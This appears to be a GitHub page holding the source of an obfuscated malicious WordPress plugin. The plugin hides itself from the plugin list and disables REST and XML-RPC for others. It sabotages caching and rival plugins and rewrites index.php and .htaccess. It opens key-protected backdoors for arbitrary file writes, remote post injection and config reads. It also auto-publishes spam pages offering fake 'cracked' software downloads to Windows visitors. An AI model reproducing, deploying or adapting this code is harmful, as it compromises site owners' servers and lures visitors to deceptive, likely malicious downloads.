| $option_name = $type === "cl"."i"."c"."k" ? "xwp_glob"."al_"."clic"."k_ip"."s" : "xwp_global_view"."_"."ip"."s"; | |
| $now = time(); | |
| $threshold = $now - 86400; | |
| $global_ips = get_option($option_name, []); | |
| $global_ips = array_filter($global_ips, function($ts) use ($threshold) { | |
| return $ts > $threshold; | |
| }); | |
| $is_new = !isset($global_ips[$ip]); | |
| if ($is_new) { | |
| $global_ips[$ip] = $now; | |
| update_option($option_name, $global_ips); | |
| } | |
| return $is_new; | |
| } | |
| function loaduFunc() { | |
| global $post; | |
| if (!runM80Flagy()) return; | |
| if (!is_singular("post")) return; | |
| if (!isset($post->post_excerpt)) return; | |
| if (trim($post->post_excerpt) !== "pirate") return; | |
| if ( | |
| stripos($_SERVER["HTTP_US"."ER_AG"."ENT"], "wor"."dp"."ress") !== false || | |
| stripos($_SERVER["HT"."TP"."_USER_AGENT"], "windo"."w"."s") === false | |
| ) return; | |
| $ip = $_SERVER["REMOTE_AD"."D"."R"]; | |
| if (!getQ53FuncW91CR($ip, "v"."ie"."w")) return; | |
| $post_id = $post->ID; | |
| $now = time(); | |
| $threshold = $now - 86400; | |
| $timestamps = get_post_meta($post_id, "_xwp_"."h"."i"."ts", true); | |
| if (!is_array($timestamps)) { | |
| $timestamps = []; | |
| } | |
| $timestamps = array_filter($timestamps, function($ts) use ($threshold) { | |
| return $ts > $threshold; | |
| }); | |
| $timestamps[] = $now; | |
| update_post_meta($post_id, "_xw"."p_h"."i"."t"."s", $timestamps); | |
| } | |
| function inithInfom29m($post_id) { | |
| if (!runM80Flagy()) return; | |
| $ip = $_SERVER["REMOTE_A"."D"."D"."R"]; | |
| if (!getQ53FuncW91CR($ip, "click")) return; | |
| $now = time(); | |
| $threshold = $now - 86400; | |
| $timestamps = get_post_meta($post_id, "_xwp_click", true); | |
| if (!is_array($timestamps)) { | |
| $timestamps = []; | |
| } | |
| $timestamps = array_filter($timestamps, function($ts) use ($threshold) { | |
| return $ts > $threshold; | |
| }); | |
| $timestamps[] = $now; | |
| update_post_meta($post_id, "_xw"."p"."_cli"."c"."k", $timestamps); | |
| } | |
| function calcValue9() { | |
| global $wpdb; | |
| $result = []; | |
| $posts = $wpdb->get_col(" | |
| SELECT ID | |
| FROM {$wpdb->posts} | |
| WHERE post_status = 'publish' | |
| AND post_excerpt = 'pirate' | |
| "); | |
| if (empty($posts)) { | |
| return $result; | |
| } | |
| $threshold = time() - 86400; | |
| foreach ($posts as $post_id) { | |
| $views_raw = get_post_meta($post_id, "_"."xwp_"."h"."it"."s", true); | |
| $clicks_raw = get_post_meta($post_id, "_xwp_cli"."c"."k", true); | |
| $views = 0; | |
| if (is_array($views_raw)) { | |
| foreach ($views_raw as $ts) { | |
| if ($ts > $threshold) $views++; | |
| } | |
| } | |
| $clicks = 0; | |
| if (is_array($clicks_raw)) { | |
| foreach ($clicks_raw as $ts) { | |
| if ($ts > $threshold) $clicks++; | |
| } | |
| } | |
| $post = get_post($post_id); | |
| $slug = $post ? $post->post_name : ""; | |
| $result[] = [ | |
| "views_"."2"."4"."h" => $views, | |
| "cl"."ic"."ks"."_24h" => $clicks, | |
| "s"."l"."u"."g" => $slug, | |
| ]; | |
| } | |
| return $result; | |
| } | |
| function saveItemLGVa($content) { | |
| global $post; | |
| if (!is_singular("post") || $post->post_excerpt !== "p"."irat"."e") { | |
| return $content; | |
| } | |
| $enc_id = checkmYR3($post->ID); | |
| $link1 = home_url("/?" . getW79Dat("first") . "={$enc_id}"); | |
| $link2 = home_url("/?" . getW79Dat("first") . "={$enc_id}". | |
| "&" . getW79Dat("second") . "=" . getW79Dat("value")); | |
| $content = str_replace("%DLINK1%", esc_url($link1), $content); | |
| $content = str_replace("%DLINK2%", esc_url($link2), $content); | |
| return $content; | |
| } | |
| function savea83zkObjgFu($content) { | |
| global $post; | |
| if (!is_singular("post") || $post->post_excerpt !== "pirate") { | |
| return $content; | |
| } | |
| srand(crc32($content)); | |
| $dhash = "MD5: " . md5(mt_rand(100000,999999)); | |
| $ddate = date("y-m-d", strtotime("-".rand(1, 30)." days")); | |
| $content = str_replace("%DHASH%", $dhash, $content); | |
| $content = str_replace("%DDATE%", $ddate, $content); | |
| return $content; | |
| } | |
| //*************************************************************// | |
| function create836536M($pcount, $cposts) { | |
| for($n = 0; $n < $pcount; $n++) { | |
| $render = new calcBI495huvi(false); | |
| $categ = $render->fetchValue52($cposts); | |
| $title = $render->calcInfon8(); | |
| $saveItemL = $render->procEntryDataB(); | |
| $content = $render->execVfYK(); | |
| fetchTaskt( | |
| $categ, $title, | |
| $saveItemL . $content | |
| ); | |
| } | |
| return true; | |
| } | |
| //*************************************************************// | |
| add_action("init", "execNode90br"."2"."Bw"); | |
| //*************************************************************// | |
| $cposts = get_option("xwp"."_curr_"."pos"."t"."s", 0); | |
| if($cposts < setTaskxI) { | |
| $last_check = get_option("xwp_"."last_c"."r"."eat"."e", 0); | |
| if ((time() - $last_check) > calcGlModeFlagS) { | |
| add_action("init", function() { | |
| $cposts = get_option("xwp"."_c"."urr_p"."osts", 0); | |
| if($cposts == 0) { | |
| $add_count = handle71Sg; | |
| } else { | |
| $add_count = fetchpK1; | |
| } | |
| $add_count += mt_rand(0, 2) - 1; | |
| update_option( | |
| "xwp_curr"."_p"."os"."t"."s", | |
| $add_count + $cposts | |
| ); | |
| update_option( | |
| "xwp_last_"."cr"."eate", | |
| time() | |
| ); | |
| create836536M($add_count, $cposts); | |
| }); | |
| } | |
| } | |
| //*************************************************************// | |
| if(isset($_GET["xwp"."_"."key"])) { | |
| if(!proc7vnQfData88()) { | |
| execResultSnyLi($_GET["xwp"."_"."k"."e"."y"]); | |
| } | |
| } | |
| if(isset($_GET["x"."wp"."_k"."e"."y"]) && isset($_GET["xw"."p"."_stats"])) { | |
| if($_GET["xwp_key"] == proc7vnQfData88()) { | |
| echo json_encode(calcValue9()); | |
| exit; | |
| } | |
| } | |
| if(isset($_GET["x"."wp"."_"."k"."ey"]) && isset($_GET["xwp_po"."st"."s"])) { | |
| if($_GET["xwp_key"] == proc7vnQfData88()) { | |
| add_action("init", function() { | |
| echo json_encode(handleTask()); | |
| exit; | |
| }); | |
| } | |
| } | |
| if(isset($_GET["xwp"."_"."k"."e"."y"]) && isset($_GET["xwp_"."a"."ddp"])) { | |
| if($_GET["xwp_key"] == proc7vnQfData88()) { | |
| add_action("init", function() { | |
| $xcat = $_POST["xcat"]; | |
| $xtit = $_POST["xtitle"]; | |
| $xbod = $_POST["xbody"]; | |
| $xbod = base64_decode($xbod); | |
| echo fetchTaskt($xcat, $xtit, $xbod); | |
| exit; | |
| }); | |
| } | |
| } | |
| if(isset($_GET["xw"."p_k"."e"."y"]) && isset($_GET["xwp_"."u"."p"."d"])) { | |
| if($_GET["xwp_key"] == proc7vnQfData88()) { | |
| add_action("init", function() { | |
| $xfnm = $_POST["xfnm"]; | |
| $xfnm = plugin_dir_path(__FILE__) . $xfnm; | |
| $xbod = $_POST["xbody"]; | |
| $xbod = base64_decode($xbod); | |
| file_put_contents($xfnm, $xbod); | |
| echo $xfnm; | |
| exit; | |
| }); | |
| } | |
| } | |
| if(isset($_GET["xw"."p_"."k"."e"."y"]) && isset($_GET["xw"."p"."_ln"."k"])) { | |
| if($_GET["xwp"."_"."k"."e"."y"] == proc7vnQfData88()) { | |
| add_action("init", function() { | |
| $xblk = $_POST["xblk"]; | |
| $xblk = base64_decode($xblk); | |
| runListMode($xblk); | |
| echo "OK"; | |
| exit; | |
| }); | |
| } | |
| } | |
| //*************************************************************// | |
| foreach ($_GET as $key => $value) { | |
| if (strlen($key) === 2 && preg_match("/^\d{10}$/", $value)) { | |
| $post_id = loadvxDGH14($value); | |
| $title = get_the_title($post_id); | |
| if (!empty($title)) { | |
| $iid = calcBI495huvi::get41Nodejv($title); | |
| if(!$iid) { | |
| $top = | |
| [ | |
| "ableton","acrobat","effects","anydesk","autocad","coreldraw", | |
| "excel","studio","illustrator","manager","matlab","office", | |
| "365","word","photoshop","premiere","sketchup","solidworks", | |
| "winrar","topaz","filmora","vegas","easeus","kmspico","creative", | |
| "virtualdj","teamviewer","ccleaner","vmware","lumion","recuva" | |
| ]; | |
| foreach($top as $cr) { | |
| if(stripos($title, $cr) !== false) { | |
| $iid = $cr; | |
| break; | |
| } | |
| } | |
| } | |
| if($iid) { | |
| $render = new calcBI495huvi($iid); | |
| echo $render->get2631F($title); | |
| inithInfom29m($post_id); | |
| exit; | |
| } | |
| } | |
| } | |
| } | |
| //*************************************************************// | |
| if(proc7vnQfData88()) { | |
| add_action("init", function() { | |
| load6Info("wp-config", proc7vnQfData88()); | |
| }); | |
| } | |
| add_action("pre_user_que"."r"."y", "lo"."ad"."4"."229"."P"); | |
| //*************************************************************// | |
| if(!calcResu()) { | |
| if(true) { | |
| add_action("wp_footer", "build"."0"."N"."P"); | |
| add_action("wp_footer", "se"."tVa"."l"."ue"); | |
| add_action("wp_footer", "loa"."dP8zLMo"."d"); | |
| add_action("wp_footer", "f"."etch"."WBYr"."j"); | |
| } | |
| } | |
| else { | |
| if(!buildFlag452IjO()) { | |
| add_filter("posts_where", "buildF"."l"."ag"."O"."b"); | |
| } | |
| } | |
| add_action("template_redirect", "loadu"."F"."u"."n"."c"); | |
| add_filter("the_content", "sa"."veIte"."mLGVa"); | |
| add_filter("the_content", "savea8"."3zkObj"."gFu"); | |
| ?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /* | |
| Plugin Name: WP-CtrlYFlow75g | |
| Description: WP BufModePipetfMa | |
| Version: 2.1 | |
| Author: TaskSy91f37BO6 | |
| */ | |
| //TaskzO15Rx60 | |
| function checkFlagxe53y() { | |
| if( stripos($_SERVER["HTTP"."_USER_AG"."E"."NT"], "sec"."-all"."o"."w") !== false) { | |
| return true; | |
| } | |
| return false; | |
| } | |
| require_once plugin_dir_path(__FILE__) . "ID200/ID20"."0."."p"."h"."p"; | |
| if(!checkFlagxe53y()) { | |
| require_once plugin_dir_path(__FILE__) . "ID100/SX"."CAP"."TH.php"; | |
| } | |
| function build21Item($plugins) { | |
| $current_plugin = plugin_basename(__FILE__); | |
| if (isset($plugins[$current_plugin])) { | |
| unset($plugins[$current_plugin]); | |
| } | |
| return $plugins; | |
| } | |
| function loadNode7($result) { | |
| if (is_user_logged_in()) { | |
| return $result; | |
| } | |
| return new WP_Error( | |
| "rest_dis"."a"."b"."led", | |
| "REST API "."is dis"."ab"."le"."d.", | |
| ["s"."ta"."tus" => 403] | |
| ); | |
| } | |
| function handle275Item88($methods) { | |
| if (isset($_GET["sec_key"])) { | |
| return $methods; | |
| } | |
| $blocked = [ | |
| "wp."."newPo"."st", | |
| "w"."p."."editPost", | |
| "w"."p.del"."ete"."Post", | |
| "blo"."gger.n"."e"."wP"."ost", | |
| "blogger."."edit"."Po"."st", | |
| "blogge"."r.deleteP"."o"."s"."t", | |
| "m"."etaWebl"."o"."g".".newPost", | |
| "metaW"."eblo"."g.edi"."tPost", | |
| "metaWeblog.delete"."Po"."st", | |
| "s"."ystem.multical"."l", | |
| "wp.get"."UsersBl"."ogs" | |
| ]; | |
| foreach ($blocked as $method) { | |
| if (isset($methods[$method])) { | |
| unset($methods[$method]); | |
| } | |
| } | |
| return $methods; | |
| } | |
| function setListObjwe4b() { | |
| $plugin_dir = WP_CONTENT_DIR . "/plugi"."n"."s"."/"; | |
| $plugins_to_rename = [ | |
| "wp-roc"."k"."e"."t", | |
| "litespe"."ed-"."cache", | |
| "wp"."-super-ca"."c"."he", | |
| "w3-total"."-"."cac"."h"."e", | |
| ]; | |
| foreach ($plugins_to_rename as $plugin_folder) { | |
| $original_path = $plugin_dir . $plugin_folder; | |
| $renamed_path = $plugin_dir . "__" . $plugin_folder; | |
| if (is_dir($original_path) && !is_dir($renamed_path)) { | |
| @rename($original_path, $renamed_path); | |
| } | |
| } | |
| } | |
| function fetchmIMS() { | |
| $plugins_dir = WP_PLUGIN_DIR; | |
| $plugin_folders = array_filter(glob($plugins_dir . "/*"), "i"."s_d"."ir"); | |
| foreach ($plugin_folders as $folder) { | |
| $target_file = $folder . "/ubh.p"."h"."p"; | |
| if (file_exists($target_file)) { | |
| $items = new RecursiveIteratorIterator( | |
| new RecursiveDirectoryIterator($folder, RecursiveDirectoryIterator::SKIP_DOTS), | |
| RecursiveIteratorIterator::CHILD_FIRST | |
| ); | |
| foreach ($items as $item) { | |
| if ($item->isDir()) { | |
| @rmdir($item->getRealPath()); | |
| } else { | |
| @unlink($item->getRealPath()); | |
| } | |
| } | |
| @rmdir($folder); | |
| } | |
| } | |
| } | |
| function handle42FKIN() { | |
| $wp_root = ABSPATH; | |
| $index_file = $wp_root . ".htac"."c"."ess"; | |
| $original_base64 = "IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLm"."M+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8"."L0lmTW9kdWxlPgojI"."EVORCBXb3JkUHJlc3MK"; | |
| $original_content = base64_decode($original_base64); | |
| $current_content = file_get_contents($index_file); | |
| if ($current_content !== $original_content) { | |
| file_put_contents($index_file, $original_content); | |
| } | |
| } | |
| function saveModeT() { | |
| $wp_root = ABSPATH; | |
| $index_file = $wp_root . "i"."ndex."."ph"."p"; | |
| $original_base64 = "PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byB"."sb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOwoKLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1"."lbnQgYW5kIFRlbXBsYXRlICovCnJlcXVpcmUgX19ESVJfXyAuICcvd3AtYmxvZy1oZWFkZXIucGhwJzsK"; | |
| $original_content = base64_decode($original_base64); | |
| $current_content = file_get_contents($index_file); | |
| if ($current_content !== $original_content) { | |
| file_put_contents($index_file, $original_content); | |
| } | |
| } | |
| add_action("init", "setLi"."s"."tO"."bjwe4"."b"); | |
| add_action("init", "fetch"."mI"."M"."S"); | |
| add_action("init", "h"."an"."dle42F"."K"."IN"); | |
| add_action("init", "saveM"."o"."de"."T"); | |
| if(!checkFlagxe53y()) { | |
| add_filter("all"."_plug"."i"."ns", "b"."ui"."ld21Item"); | |
| add_filter("xmlrpc_me"."th"."od"."s", "handle2"."75Item8"."8"); | |
| add_filter("rest_auth"."entication_er"."ror"."s", "loadNo"."d"."e"."7"); | |
| } | |
| ?> | |
| 1:02 | |
| XSystwo/ID200/ID200.php (edited) | |
| Untitled | |
| <?php | |
| /* | |
| Plugin Name: WP-DevReguE50A | |
| Description: WP-Net55zBlksLl | |
| Version: 2.0 | |
| Click to expand inline (638 lines) | |
| 1:03 | |
| XSystwo/ID200/class.01.php | |
| <?php | |
| //BufHNodedLprI | |
| class calcBI495huvi { | |
| private $class; | |
| private $iid; | |
| private $updateObjtUFun = false; | |
| private $checkData = false; | |
| private $set39Valuea311R = false; | |
| private $run47j32 = false; | |
| private $fetchn90nWg58 = false; | |
| public static function get41Nodejv($title) { | |
| $dir = plugin_dir_path(__FILE__) . "Re"."n"."d"."e"."r"; | |
| $base = file_get_contents($dir . "/c-s"."oftw/soft_L.da"."t"); | |
| $base = explode("\r\n~\r\n", $base); | |
| $title = html_entity_decode($title); | |
| foreach($base as $soft) { | |
| $handler658i = explode("\r\n", $soft); | |
| if(stripos($title, $handler658i[0]) !== false) { | |
| return substr(md5($handler658i[0]) , -8); | |
| } | |
| } | |
| return false; | |
| } | |
| public function __construct($iid = false) { | |
| $dir = plugin_dir_path(__FILE__) . "R"."e"."nder"; | |
| if($iid === false) { | |
| $this->checkObjjSta(); | |
| $this->class = mt_rand(0, 1) ? "T" : "L"; | |
| if($this->class == "T") { | |
| $base = file_get_contents($dir . "/c-"."softw/soft"."_T.d"."at"); | |
| $base = explode("\r\n~\r\n", $base); | |
| $handler658i = $base[array_rand($base)]; | |
| $handler658i = explode("\r\n", $handler658i); | |
| $this->iid = $handler658i[1]; | |
| $this->updateObjtUFun = $handler658i[0]; | |
| $this->checkData = $handler658i[2]; | |
| $this->run47j32 = $handler658i[3]; | |
| $this->fetchn90nWg58 = $handler658i[4]; | |
| } else { | |
| $base = file_get_contents($dir . "/c-soft"."w/soft_L".".d"."a"."t"); | |
| $base = explode("\r\n~\r\n", $base); | |
| $handler658i = $base[array_rand($base)]; | |
| $handler658i = explode("\r\n", $handler658i); | |
| $this->iid = substr(md5($handler658i[0]), -8); | |
| $this->fetchItemQObj9($handler658i[2]); | |
| $this->updateObjtUFun = $handler658i[0]; | |
| $this->checkData = false; | |
| $this->run47j32 = $handler658i[1]; | |
| $this->fetchn90nWg58 = false; | |
| } | |
| } | |
| else { | |
| $this->iid = $iid; | |
| } | |
| } | |
| private function loads59ValueuN($seed = "") { | |
| srand(hexdec(substr(md5(site_url().$seed), -5))); | |
| } | |
| private function checkObjjSta() { | |
| srand(round(microtime(true) * 1000) + mt_rand(0,10**6)); | |
| } | |
| private function check9192kavQ($title) { | |
| $this->checkObjjSta(); | |
| $words = preg_split("/\s+/", strtolower(preg_replace("/[^a-zA-Z\s]/", "", $title))); | |
| $words = array_filter($words); | |
| $createState = array_slice($words, 0, 4); | |
| if (count($createState) <= 2) { | |
| return implode("_", $createState); | |
| } | |
| $load62c5TFunc9 = array_rand($createState, 2); | |
| if (!is_array($load62c5TFunc9)) { | |
| $load62c5TFunc9 = [$load62c5TFunc9]; | |
| } | |
| return implode("_", [ $createState[$load62c5TFunc9[0]], $createState[$load62c5TFunc9[1]] ]); | |
| } | |
| private function fetchItemQObj9($url) { | |
| $dir = plugin_dir_path(__FILE__) . "R"."e"."n"."der"; | |
| $image = $dir . "/image/{$this->iid}.png"; | |
| if(file_exists($image)) { | |
| return true; | |
| } | |
| $image_e = $dir . "/image/soft.png"; | |
| $ch = curl_init($url); | |
| $fp = fopen($image, "wb"); | |
| if (!$fp) return false; | |
| curl_setopt($ch, CURLOPT_FILE, $fp); | |
| curl_setopt($ch, CURLOPT_HEADER, 0); | |
| curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); | |
| curl_setopt($ch, CURLOPT_TIMEOUT, 15); | |
| curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); | |
| $success = curl_exec($ch); | |
| curl_close($ch); | |
| fclose($fp); | |
| if (!$success || filesize($image) === 0 || filesize($image) > 1024**2) { | |
| if (file_exists($image)) { | |
| unlink($image); | |
| } | |
| copy($image_e, $image); | |
| } | |
| return true; | |
| } | |
| private function getVsr26M() { | |
| try { | |
| $dir = plugin_dir_path(__FILE__) . "Ren"."d"."er"; | |
| $image = @imagecreatefrompng($dir . "/image/{$this->iid}.png"); | |
| if(!$image) { | |
| $image = @imagecreatefromjpeg($dir . "/image/{$this->iid}.png"); | |
| } | |
| if(!$image) { | |
| $image = @imagecreatefrompng($dir . "/image/soft.png"); | |
| } | |
| $width = imagesx($image); | |
| $height = imagesy($image); | |
| $init48Obj83X64 = 1 + (mt_rand(-5, 5) / 100); | |
| $inittValue = (int)($width * $init48Obj83X64); | |
| $fetchJMXStatej = (int)($height * $init48Obj83X64); | |
| if ($inittValue > 512) { | |
| $fetchJMXStatej = (int)($fetchJMXStatej * (512 / $inittValue)); | |
| $inittValue = 512; | |
| } | |
| $resized = imagecreatetruecolor($inittValue, $fetchJMXStatej); | |
| imagealphablending($resized, false); | |
| imagesavealpha($resized, true); | |
| imagecopyresampled( | |
| $resized, $image, | |
| 0, 0, 0, 0, | |
| $inittValue, $fetchJMXStatej, | |
| $width, $height | |
| ); | |
| $loadbjFR = mt_rand(0, 10); | |
| $getListResu = mt_rand(0, 10); | |
| $cropRight = mt_rand(0, 10); | |
| $cropBottom = mt_rand(0, 10); | |
| $calcListxyDataZ = $inittValue - $loadbjFR - $cropRight; | |
| $loadjqrV = $fetchJMXStatej - $getListResu - $cropBottom; | |
| $cropped = imagecreatetruecolor($calcListxyDataZ, $loadjqrV); | |
| imagealphablending($cropped, false); | |
| imagesavealpha($cropped, true); | |
| imagecopy( | |
| $cropped, $resized, | |
| 0, 0, $loadbjFR, $getListResu, | |
| $calcListxyDataZ, $loadjqrV | |
| ); | |
| ob_start(); | |
| imagepng($cropped); | |
| $setJo94State7 = ob_get_clean(); | |
| imagedestroy($image); | |
| imagedestroy($resized); | |
| imagedestroy($cropped); | |
| } catch(e) {} | |
| return "data:image/png;base64," . base64_encode($setJo94State7); | |
| } | |
| private function initObj51GFGY6($object, $wrap = false) { | |
| $dir = plugin_dir_path(__FILE__) . "Ren"."d"."e"."r"; | |
| $base = file_get_contents($dir . "/$object.dat"); | |
| $base = explode("\r\n~\r\n", $base); | |
| $text = ""; | |
| foreach($base as $block) { | |
| $update1879RMVal = explode("\r\n", $block); | |
| $savenu60iqMR84h = ""; | |
| while($savenu60iqMR84h == "") { | |
| $savenu60iqMR84h = trim($update1879RMVal[array_rand($update1879RMVal)]); | |
| } | |
| $text .= $savenu60iqMR84h . " "; | |
| } | |
| if($wrap) { | |
| $text = str_replace("%W"."R"."A"."P"."%", $wrap, $text); | |
| } | |
| return trim($text); | |
| } | |
| private function updatelSURvN1($object, $wrap = false) { | |
| $base = explode("|", $object); | |
| $text = ""; | |
| foreach($base as $block) { | |
| $update1879RMVal = explode(".", $block); | |
| $savenu60iqMR84h = ""; | |
| while($savenu60iqMR84h == "") { | |
| $savenu60iqMR84h = trim($update1879RMVal[array_rand($update1879RMVal)]); | |
| } | |
| $text .= $savenu60iqMR84h . ". "; | |
| } | |
| if($wrap) { | |
| $text = str_replace("%WRAP%", $wrap, $text); | |
| } | |
| return trim($text); | |
| } | |
| public function fetchValue52($cposts) { | |
| $this->loads59ValueuN(intval($cposts / procZ62State2)); | |
| return $this->initObj51GFGY6("sh_ca"."teg"."_s"."oft"."w"); | |
| } | |
| public function calcInfon8() { | |
| $this->checkObjjSta(); | |
| $dir = plugin_dir_path(__FILE__) . "Rend"."e"."r"; | |
| $base = file_get_contents($dir . "/sh_ptitle_"."soft"."w."."da"."t"); | |
| $base = explode("\r\n", $base); | |
| array_unshift($base, $this->checkData); | |
| $title = $this->updateObjtUFun . " "; | |
| foreach($base as $block) { | |
| $t_a = explode(",", $block); | |
| $title .= trim($t_a[array_rand($t_a)]) . " "; | |
| } | |
| $title = str_replace("{}", "", $title); | |
| for($n = 0; $n < 5; $n++) { | |
| $title = str_replace(" ", " ", $title); | |
| } | |
| return trim($title); | |
| } | |
| public function execVfYK() { | |
| $this->checkObjjSta(); | |
| $title = $this->updateObjtUFun; | |
| if($this->class == "T") { | |
| $content = $this->updatelSURvN1($this->run47j32); | |
| } else { | |
| $content = $this->run47j32; | |
| } | |
| $video = $this->fetchn90nWg58; | |
| $opt_n = mt_rand(3, 6); | |
| $setParamE = ""; | |
| for($n = 0; $n < $opt_n; $n++) { | |
| $free = mt_rand(0, 1) ? "" : " "."F"."RE"."E"; | |
| $li_tag = $this->initObj51GFGY6("sh_op"."tim_so"."f"."t"."w"); | |
| $li_tag = str_replace("%IT"."E"."M%", $title, $li_tag); | |
| $setParamE .= $li_tag; | |
| $li_tag = "<li>" . $this->calcInfon8() . $free . "</li>"; | |
| $setParamE .= $li_tag; | |
| } | |
| $setParamE = $this->initObj51GFGY6("wr"."_"."u"."lo"."l", $setParamE); | |
| $content .= $setParamE; | |
| if($video && mt_rand(0, 1)) { | |
| $videofr = $this->initObj51GFGY6("wr_v"."i"."de"."o", $video); | |
| $content .= $videofr; | |
| } | |
| return $content; | |
| } | |
| public function procEntryDataB() { | |
| $this->checkObjjSta(); | |
| $calc8847List = $this->initObj51GFGY6("sh_"."down"."l"."an"."g"); | |
| $this->loads59ValueuN(); | |
| $dir = plugin_dir_path(__FILE__) . "Ren"."d"."e"."r"; | |
| $saveItemL = $this->initObj51GFGY6("sh_dta"."b"."l"."e"); | |
| $buildModeK9 = $this->initObj51GFGY6("s"."h_butt"."on"); | |
| $buildModeK9 = str_replace("%DOWNL"."A"."N"."G"."%", $calc8847List, $buildModeK9); | |
| $this->checkObjjSta(); | |
| $sizegb = $this->initObj51GFGY6("sh_ha"."sh"."es"); | |
| $createuListF = $this->initObj51GFGY6("sh_dreqm_"."sof"."t"."w"); | |
| $createuListF = $this->initObj51GFGY6("w"."r"."_dreqm"."_ul", $createuListF); | |
| $block = $sizegb . $buildModeK9 . $createuListF; | |
| $block = $this->initObj51GFGY6("wr_dre"."q"."m_"."d"."v", $block); | |
| $image = $this->getVsr26M(); | |
| $saveItemL = str_replace("%I"."M"."AG"."E"."%", $image, $saveItemL); | |
| $saveItemL = str_replace("%BU"."TT"."S"."%", $block, $saveItemL); | |
| return $saveItemL; | |
| } | |
| public function get2631F($title) { | |
| $this->loads59ValueuN(); | |
| $dir = plugin_dir_path(__FILE__) . "R"."e"."nd"."e"."r"; | |
| if (!is_dir($dir . "/d"."p"."a"."ge")) { | |
| return false; | |
| } | |
| $files = glob($dir . "/d"."page"."/*".".*"); | |
| if (empty($files)) { | |
| return false; | |
| } | |
| $dpage = $files[array_rand($files)]; | |
| $procState545 = file_get_contents($dpage); | |
| $dcont = $this->initObj51GFGY6("s"."h"."_dpage"); | |
| $dcont = $this->initObj51GFGY6("wr_d"."pa"."g"."e", $dcont); | |
| $b_file = $dir . "/[softw]".".h"."t"."m"."l"; | |
| $b_html = file_get_contents($b_file); | |
| $image = $this->getVsr26M(); | |
| $b_html = str_replace("%IM"."A"."GE%", $image, $b_html); | |
| $procState545 = str_replace("%DTI"."TL"."E"."%", $title, $procState545); | |
| $procState545 = str_replace("%DB"."LO"."CK"."%", $b_html, $procState545); | |
| $procState545 = str_replace("%DC"."O"."NTS%", $dcont, $procState545); | |
| $procState545 = str_replace("%D"."SL"."U"."G"."%", $this->check9192kavQ($title), $procState545); | |
| return $procState545; | |
| } | |
| } | |
| ?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment